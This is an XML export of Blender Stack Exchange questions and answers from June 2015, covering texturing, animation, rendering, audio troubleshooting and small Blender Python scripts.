  <row Id="32997" PostTypeId="1" CreationDate="2015-06-25T22:12:26.793" Score="13" ViewCount="29760" Body="&lt;p&gt;I am trying to create a low poly face with a face from a .png file. The issue is I already have material placed for hair and skin, as shown in the picture below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a .png file with a face which I would like to overlay over the skin material on the front of the head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sIqGJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All examples I searched so far assume I also want the color of the material from the .png texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added UVMapping, changed view to texture, made sure one face is on the eye but nothing is displayed..... see image... I don't know what is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8vSsf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14006" LastEditorUserId="5705" LastEditDate="2015-08-03T15:42:09.197" LastActivityDate="2019-05-13T01:04:30.293" Title="How to place a .png texture with transparency over a material" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;&lt;image&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32999" PostTypeId="2" ParentId="23469" CreationDate="2015-06-25T23:49:44.373" Score="2" Body="&lt;p&gt;You can access classes for registered operators via &lt;code&gt;bpy.types&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cls = bpy.types.OBJECT_OT_make_dupli_face&#xA;&#xA;import inspect&#xA;&#xA;inspect.getsourcefile(cls)&#xA;# 'release/scripts/startup/bl_operators/object.py'&#xA;&#xA;inspect.getsource(cls)&#xA;# 'class MakeDupliFace(Operator):\n    &quot;&quot;&quot;Convert objects ... &amp;lt;snip&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-06-25T23:49:44.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33001" PostTypeId="2" ParentId="32995" CreationDate="2015-06-26T00:48:48.150" Score="1" Body="&lt;p&gt;Select your object. &lt;kbd&gt;Tab&lt;/kbd&gt; into edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hit &lt;kbd&gt;P&lt;/kbd&gt;. It will bring up 3 options&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Selection&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Loose Parts&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;By Material&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since you are asking about adding materials to different parts, you probably don't already have them.&#xA;If th mesh isn't solid (i.e., body, head and hat don't share vertexes) take the &quot;Loose Parts&quot; path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hiKSr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will turn each part of the mesh into a separate object. They can be colored separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qc6J1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;alternately, you can mouse over a part of the mesh and hit &lt;kbd&gt;L&lt;/kbd&gt;. follow &lt;a href=&quot;https://blender.stackexchange.com/questions/516/add-different-materials-to-different-parts-of-a-mesh&quot;&gt;this&lt;/a&gt; answer to color the selection.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-06-26T00:48:48.150" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33002" PostTypeId="1" CreationDate="2015-06-26T02:59:15.907" Score="3" ViewCount="1145" Body="&lt;p&gt;Is there a way to make node groups with a custom node tree? The option is grayed out in the node menu. I checked Sverchok's implementation, but it also seems like they don't support node groups.&lt;/p&gt;&#xA;" OwnerUserId="13838" LastActivityDate="2016-08-17T15:03:46.053" Title="How to create a node group with a custom node tree?" Tags="&lt;nodes&gt;&lt;pynodes&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33003" PostTypeId="1" AcceptedAnswerId="33035" CreationDate="2015-06-26T03:42:28.273" Score="1" ViewCount="823" Body="&lt;p&gt;I'm animating something that I made using armatures. I made a very basic walk cycle, and turned it into an NLA action. However, in the current scene of the animation I'm making, I don't actually need it to walk. However, when i remove the action from the nla editor, it seems to be gone forever, and I can't find a way to get it back (apart from simply undoing the removal).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way that I can create an NLA action and save it for use later without using it? This must be a noob question...&lt;/p&gt;&#xA;" OwnerUserId="15235" LastActivityDate="2015-06-26T16:56:09.530" Title="How to save NLA action but don't use it?" Tags="&lt;animation&gt;&lt;armature&gt;&lt;nla-editor&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33004" PostTypeId="2" ParentId="32995" CreationDate="2015-06-26T04:14:14.417" Score="0" Body="&lt;p&gt;First thing I notice is that you have two sets of texture pairs, the two images on the left are a main texture for the uniform, consisting of the front and back, and the arms of the jacket, the two legs of the trousers, and front and back of the gloves, and a matching normal map for that texture. The two textures on the right are a main texture for the hat, and a normal map for the hat. I may be mistaken, but you seem to be missing at least one, and perhaps two other pairs of textures, for the boots and the face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the object is all one complete mesh, one approach is import the main mesh and normal textures into new image textures using the texture context button of the properties editor. After you have the images imported into the appropriate textures, switch to the UV editing viewport, open the images in the UV editor, and with the mesh in edit mode, selecting the various parts of the mesh and map them to the corresponding parts of the image. Repeat this for all of the parts of the uniform on both images. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more detailed description of the steps involved is off topic for this site, but there are many tutorials on UV unwrapping, and it is covered in unit 5 of the &lt;a href=&quot;http://gryllus.net/Blender/3D.html&quot; rel=&quot;nofollow&quot;&gt;Tufts University course by Neil Hirsig&lt;/a&gt;. Pay particular attention to video tutorials 05-08 through 05-10.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-06-26T04:14:14.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33005" PostTypeId="2" ParentId="32996" CreationDate="2015-06-26T05:40:48.660" Score="1" Body="&lt;p&gt;I fixed the problem by disabling &quot;Smoke Adaptive Domain&quot; in the Physics tab in the Properties panel, while selecting the domain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9IAtn.png&quot; alt=&quot;SAD&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For whatever reason, this caused the domain to shake around a little bit, causing the jittering. I'm still not sure why it doesn't jitter in the viewport but does in the final render.&lt;/p&gt;&#xA;" OwnerUserId="7806" LastActivityDate="2015-06-26T05:40:48.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33006" PostTypeId="1" CreationDate="2015-06-26T06:11:48.857" Score="3" ViewCount="6308" Body="&lt;p&gt;I'm new to blender and I just downloaded it. I can't seem to figure out what is wrong with the audio. I downloaded a few templates that came with audio but the audio doesn't run. The audio is not muted and my computer sound isn't muted. sometimes I even try to input my own audio and it still doesn't work. Please help since I'm trying to make an intro for my Youtube account.&lt;/p&gt;&#xA;" OwnerUserId="15237" LastEditorUserId="3401" LastEditDate="2015-06-26T10:41:05.417" LastActivityDate="2021-02-27T11:54:50.420" Title="Audio doesn't play?" Tags="&lt;audio&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33007" PostTypeId="2" ParentId="32996" CreationDate="2015-06-26T07:46:35.633" Score="1" Body="&lt;p&gt;Works fine when I &lt;em&gt;&lt;a href=&quot;http://blender.org/manual/physics/smoke/baking.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bake&lt;/a&gt;&lt;/em&gt; the simulation before rendering. I did observe the same jittering when I did not bake first, and let blender calculate the smoke on the fly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's aways recommended to bake simulations before rendering, precisely for the purpose of preventing glitches like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Also note that it's also &lt;a href=&quot;https://blender.stackexchange.com/a/4881/599&quot;&gt;recommended to render to an image sequence first&lt;/a&gt;, then render that to a video.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-06-26T07:46:35.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33008" PostTypeId="1" CreationDate="2015-06-26T08:19:15.960" Score="0" ViewCount="241" Body="&lt;p&gt;I have a cube and I want to spawn another cube right on top of it. (it should work for other shapes like a pyramid, too). The tricky part is, that the first cube (or pyramid) moves randomly around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I guess what I need is the orientation of the first cube's top face I want to spawn my second cube at. But how can I get that information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get the vertex normal with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# get the 1st mesh&#xA;mesh = obj.meshes[0]&#xA;&#xA;# get the first vertex of the first material&#xA;vert  = mesh.getVertex( 0, 0)&#xA;&#xA;# get the vertex normal vector&#xA;normal = vert.getNormal()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I need the face normal for properly place my second cube on top of the first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end what I want is to randomly stack objects on top of each other without gabs between them. And the newly spawned object always should should match the faces normal it is spawned on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any hint,&#xA;cheers&lt;/p&gt;&#xA;" OwnerUserId="9529" LastEditorUserId="9529" LastEditDate="2015-06-28T12:03:46.987" LastActivityDate="2015-06-28T12:03:46.987" Title="Blender game: get face orientation (stacking blocks)" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;&lt;game-engine&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33009" PostTypeId="1" AcceptedAnswerId="33012" CreationDate="2015-06-26T08:29:54.367" Score="3" ViewCount="3712" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ul3y0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am unable to get a material to appear on a plane which I'm working on. I new to blender and followed the steps of most tutorial. In most cases, selecting a certain colour automatically applies to the object but mine does not seem to work that way. I have tried selecting all vertices in edit mode and assigning it but that does not work as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on why this occurs will be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4985" LastActivityDate="2015-06-26T09:30:29.207" Title="Unable to apply material on plane?" Tags="&lt;materials&gt;&lt;objects&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33010" PostTypeId="2" ParentId="1998" CreationDate="2015-06-26T08:54:14.280" Score="4" Body="&lt;p&gt;Ok so I tried to recreate what you where doing to see if I could run in to this problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used a cylinder with 40 vertices and played around with lamps and light planes, no multi res or sub serf modifiers added. I found the best result for smoothness was using a hemi lamp. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are at 200 samples &#xA;&lt;img src=&quot;https://i.stack.imgur.com/0Uyji.jpg&quot; alt=&quot;40 vert cylinder flat with hemi&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CaSfV.jpg&quot; alt=&quot;40 vert cylinder smooth with hemi&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what my sene setup looked like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ecla3.jpg&quot; alt=&quot;What my scene looks like with the hemi lamp&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way I like is to add a plane and add an emitter material to it and make a light plane. To keep the shape of the plane out of the scene I tilt it just out of the camera view finder. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/K4Xlv.jpg&quot; alt=&quot;light plane scene &quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Q9tpI.jpg&quot; alt=&quot;alternate light plane&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15137" LastActivityDate="2015-06-26T08:54:14.280" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33011" PostTypeId="1" CreationDate="2015-06-26T09:10:17.063" Score="0" ViewCount="838" Body="&lt;p&gt;I've got mesh with lots of holes, concavities and convexities. The problem is that it has no beveled edges and whole mesh is badly triangulated. I only need to bake a good normal map, but adding bevels requires to totally remesh it which will take so much time :/ Is there any quicker way to do that? Maybe I can get around this somehow? Maybe there's another map I can bake and transform  to normals with some PS plugins? BTW I'm going to bake it with xNormal (I have never baked anything straight with blender).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8312" LastEditorUserId="3401" LastEditDate="2015-06-27T08:25:18.767" LastActivityDate="2015-07-27T09:02:26.077" Title="Nice normal map without beveled edges" Tags="&lt;modeling&gt;&lt;texture-baking&gt;&lt;edges&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33012" PostTypeId="2" ParentId="33009" CreationDate="2015-06-26T09:30:29.207" Score="2" Body="&lt;p&gt;In Blender Render the color in 3D view changes when you change material, but in Cycles Render you will only see the material change when Rendered. So when you change material in Cycles Render you don't see color change in 3D vieuw, unless you explicitly change the viewport color in the materials settings in Cycles Render&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-06-26T09:30:29.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33013" PostTypeId="2" ParentId="32975" CreationDate="2015-06-26T09:53:29.727" Score="1" Body="&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from mathutils import Vector&#xA;from bpy_extras.object_utils import world_to_camera_view&#xA;&#xA;scene = bpy.context.scene&#xA;cam = bpy.data.objects['Camera']&#xA;obj = bpy.data.objects['Cube']&#xA;mesh = obj.data&#xA;mat_world = obj.matrix_world&#xA;cs, ce = cam.data.clip_start, cam.data.clip_end&#xA;&#xA;assert obj.mode == &quot;EDIT&quot;&#xA;bm = bmesh.from_edit_mesh(mesh)&#xA;&#xA;for v in bm.verts:&#xA;    co_ndc = world_to_camera_view(scene, cam, mat_world @ v.co)&#xA;    #check wether point is inside frustum&#xA;    if (0.0 &amp;lt; co_ndc.x &amp;lt; 1.0 and&#xA;        0.0 &amp;lt; co_ndc.y &amp;lt; 1.0 and&#xA;        cs &amp;lt; co_ndc.z &amp;lt;  ce):&#xA;        v.select = True&#xA;    else:&#xA;        v.select = False&#xA;&#xA;bmesh.update_edit_mesh(mesh, False, False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="86515" LastEditDate="2020-01-07T00:24:49.083" LastActivityDate="2020-01-07T00:24:49.083" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33014" PostTypeId="2" ParentId="32844" CreationDate="2015-06-26T10:07:28.577" Score="0" Body="&lt;p&gt;Do the sections once added need to be the same if they get re-entered again. That is, if an entity goes from chunk a to chunk c, then to chunk f, then to e, then to b, and back to c, does c need to be the same when the character re-enters as it was the first time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were going to generate the terrain, I'd determine the chunk size, and create the chunks by adding plane primitives of that size, and subdividing them to an extent which gives a reasonable vertex density. Then I'd apply a displace modifier to the mesh choosing a suitable noise texture with the parameters you wish. The part up to here seems simple. The difficult part would seem to me to be if you want to have the mesh of chunk c be the same if you re-enter it again from the same direction, or different ones from the previous time. Then you'll need to keep track of the parameters for each chunk so they can be used to regenerate that chunk of terrain if needed.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-06-26T10:07:28.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33015" PostTypeId="1" CreationDate="2015-06-26T10:56:45.753" Score="8" ViewCount="14103" Body="&lt;p&gt;Was wondering if anyone knows of a way to run Blender in a non graphical mode to use as a render node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking of setting up a small farm using raspberry pi's or another of the mini, efficient, low cost computers to use as a node to process everything.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does Blender run on ARM and can it be used as a render node?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="8417" LastEditorUserId="55" LastEditDate="2015-06-27T08:11:53.880" LastActivityDate="2019-03-28T14:10:37.157" Title="Can Blender run headless on an ARM processor?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="4" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33016" PostTypeId="1" CreationDate="2015-06-26T11:18:17.717" Score="0" ViewCount="42" Body="&lt;p&gt;I want to texture my whole gun, not each part individually with smart UV project. How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode, it's only possible to choose the selected object's mesh.&lt;/p&gt;&#xA;" OwnerUserId="15113" LastEditorUserId="1253" LastEditDate="2015-06-27T08:04:38.580" LastActivityDate="2015-06-27T08:04:38.580" Title="Texturing whole item" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="33017" PostTypeId="1" CreationDate="2015-06-26T11:19:32.363" Score="14" ViewCount="11468" Body="&lt;p&gt;I've heard a lot about this 'cool' feature in the next release and I wonder what it is. Any infos?&lt;/p&gt;&#xA;" OwnerUserId="7894" LastActivityDate="2018-10-06T22:18:36.823" Title="What does Light Portal mean?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33019" PostTypeId="2" ParentId="33006" CreationDate="2015-06-26T11:50:59.930" Score="1" Body="&lt;p&gt;There are so many possible reasons, you need to post more details about the file you're using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your file has a movie loaded into VSE, you should have two strips: one for video track, the other for the audio track. Check they are both present, if this is the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your &quot;template&quot; (whatever that means) is using an external audio file, it could be missing or be in a wrong folder (or have a wrong name).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you look the separate &quot;console&quot; window you could get some message like &#xA;&quot;Warning: Path 'D:\audio\sound.mp3' not found&quot;, and other useful messages of what is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the sound is emitted by a &quot;speaker&quot; object also check that it has not the &quot;mute&quot; checkbox under speaker object data properties. Also VSE audio strips can be muted (muted strips have dotted border)... check audio strip properties (side panel) or the &quot;strip&quot; menu, to change this setting.&lt;/p&gt;&#xA;" OwnerUserId="919" LastEditorUserId="919" LastEditDate="2015-06-30T08:11:25.247" LastActivityDate="2015-06-30T08:11:25.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33020" PostTypeId="2" ParentId="32997" CreationDate="2015-06-26T12:27:42.450" Score="0" Body="&lt;p&gt;One way to do this is adding to the material a image texture, mapping &quot;object&quot;, alpha premultiplied, mapped to an empty. The image sticks to the mesh surface facing the Z axis of the empty. If you move, rotate scale the empty, the image get the same transform. You can see the effect only in render, so maybe activate also &quot;render preview&quot; in a 3D view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://cgcookie.com/archive/tip-placing-decals-with-empties/&quot; rel=&quot;nofollow&quot;&gt;this CGCookie tutorial&lt;/a&gt; for an example of this method.&lt;/p&gt;&#xA;" OwnerUserId="919" LastEditorUserId="25" LastEditDate="2015-11-22T22:04:41.177" LastActivityDate="2015-11-22T22:04:41.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33021" PostTypeId="1" CreationDate="2015-06-26T13:42:34.200" Score="0" ViewCount="776" Body="&lt;p&gt;I accidentally applied a subdivision surface modifier, but I don't want that. I tried to undo it, but that is not working. Is there any other way to do this?&lt;/p&gt;&#xA;" OwnerUserId="15243" LastEditorUserId="2217" LastEditDate="2015-06-26T14:45:45.227" LastActivityDate="2015-06-26T14:49:35.923" Title="How can I unapply a subdivision surface modifier?" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-06-26T20:40:23.207" ContentLicense="CC BY-SA 3.0" />
  <row Id="33022" PostTypeId="2" ParentId="33021" CreationDate="2015-06-26T14:25:26.247" Score="1" Body="&lt;p&gt;You can discover the global history. If you can find the operat，then you can back to there by click.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;following the link：&#xA;&lt;a href=&quot;http://www.blender.org/manual/getting_started/basics/undo_and_redo.html?highlight=history&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/manual/getting_started/basics/undo_and_redo.html?highlight=history&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15245" LastEditorUserId="15245" LastEditDate="2015-06-26T14:49:35.923" LastActivityDate="2015-06-26T14:49:35.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33023" PostTypeId="2" ParentId="33017" CreationDate="2015-06-26T14:28:33.223" Score="9" Body="&lt;p&gt;It is a plane that defines where the most of environment light will come into the scene, so the renderer can sample light more efficiently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually speeds up indoor rendering. The sample takes longer time but the noise will clear out after fewer samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multiple light portals can be used, but it's only good to place them on the main light sources - like windows (or a TV if it's the main source of light in a night scene).&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-07-13T08:13:48.560" LastActivityDate="2015-07-13T08:13:48.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33024" PostTypeId="2" ParentId="33017" CreationDate="2015-06-26T14:35:12.487" Score="3" Body="&lt;p&gt;&lt;code&gt;(Light) Portal&lt;/code&gt; is a setting for &lt;code&gt;Area Lamps&lt;/code&gt; that helps sample enviroment light more efficiently in Cycles. It's useful for interiors where enviroment light is coming through a window or door. You can get a clean image with less samples, although each sample takes a little more to render.&#xA;The end result is a small to mid speed increase, it depends on your scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my experience they also seem to change the lighting subtly, giving it more of a &quot;direction&quot;.&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2015-06-26T14:35:12.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33025" PostTypeId="2" ParentId="33015" CreationDate="2015-06-26T14:41:57.977" Score="1" Body="&lt;p&gt;Blender can run on ARM under Ubuntu, but the hardware may not meet the &lt;a href=&quot;https://www.blender.org/download/requirements/&quot; rel=&quot;nofollow&quot;&gt;minimal requirements&lt;/a&gt; (depending on the configuration).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if it worked Raspberry Pi's, Odroid's, BeagleBoards etc. are actually very pricy for the power they offer. I run OpenCV algorithms on them and they barely get 10fps on some basic SIFT extraction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such boards also have very limited memory which would limit your scene's and textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the money a farm of boards (that could actually render something in your lifetime) would cost you &lt;strong&gt;buy an Nvidia card with CUDA&lt;/strong&gt; and stuff it in some cheap system with 1x PCI 16x that meets the requirements. You will get infinitely more performance out of it.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="55" LastEditDate="2015-06-27T07:57:25.317" LastActivityDate="2015-06-27T07:57:25.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33029" PostTypeId="2" ParentId="32920" CreationDate="2015-06-26T14:59:09.220" Score="1" Body="&lt;p&gt;If no object is active/selected display scene's properties which the user changes to generate geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If some object is active/selected display the object's custom properties (which are saved to the object when generated) so the user can change them and re-generate the object or generate a new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each generated objects should have 1 &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_60_6/bpy.props.html#propertygroup-example&quot; rel=&quot;nofollow&quot;&gt;property group&lt;/a&gt; with all the properties inside, so there is no mess.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-06-26T14:59:09.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33030" PostTypeId="1" CreationDate="2015-06-26T15:18:10.703" Score="1" ViewCount="1501" Body="&lt;p&gt;I have a mesh that is shaped like a frame. Basically I cut a hole in a plane by selecting knife project in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AGrN9.png&quot; alt=&quot;This is the shape I currently have&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I would like to animate this mesh with the help of shape keys. I want to take the four inner vertices and scale them up so they are in the exact same position as the outer ones (effectively making the frame disappear). Scaling itself is not the problem but I cannot figure out a way to scale it just the right amount. Unfortunately I can only manipulate the position values individually (in the pane to the right) but not the scaling. Does anyone know of a way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="15248" LastActivityDate="2015-06-26T16:29:46.143" Title="How can I scale a set of vertices to the size of another set of vertices?" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;vertices&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33031" PostTypeId="1" CreationDate="2015-06-26T15:19:04.547" Score="0" ViewCount="135" Body="&lt;p&gt;I need to find where Blender has applied their modifiers and physics scripts within their program so that I can install and place my own that I have. Either it has been a very long day already or I am simply blind because I have looked through every file and every option available for several hours now and am about to go crazy. If someone has a file path or can send a screenshot of where it is it would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="15249" LastActivityDate="2015-06-26T16:20:14.637" Title="Where are the modifier scripts in the Blender package contents folder?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33032" PostTypeId="2" ParentId="13465" CreationDate="2015-06-26T16:09:41.150" Score="3" Body="&lt;p&gt;You could try a couple of things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Increase the &quot;Distance&quot; value under &lt;em&gt;Physics &gt; Cloth Collision&lt;/em&gt; &lt;/li&gt;&#xA;&lt;li&gt;Increase the Structural Stiffness of the Cloth&lt;/li&gt;&#xA;&lt;li&gt;Increase the Repulsion Force&lt;/li&gt;&#xA;&lt;li&gt;Increase the Repulsion Distance&lt;/li&gt;&#xA;&lt;li&gt;Increase the Collision Quality under &lt;em&gt;Physics &gt; Cloth Collision&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13911" LastActivityDate="2015-06-26T16:09:41.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33033" PostTypeId="2" ParentId="33031" CreationDate="2015-06-26T16:20:14.637" Score="2" Body="&lt;p&gt;Blender's modifiers and physics related routines are written in C/C++, you won't find them in the scripts directory. Download Blender's source &lt;a href=&quot;https://www.blender.org/download/#source&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; as an archive or use &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/Tools/Git&quot; rel=&quot;nofollow&quot;&gt;GIT&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-06-26T16:20:14.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
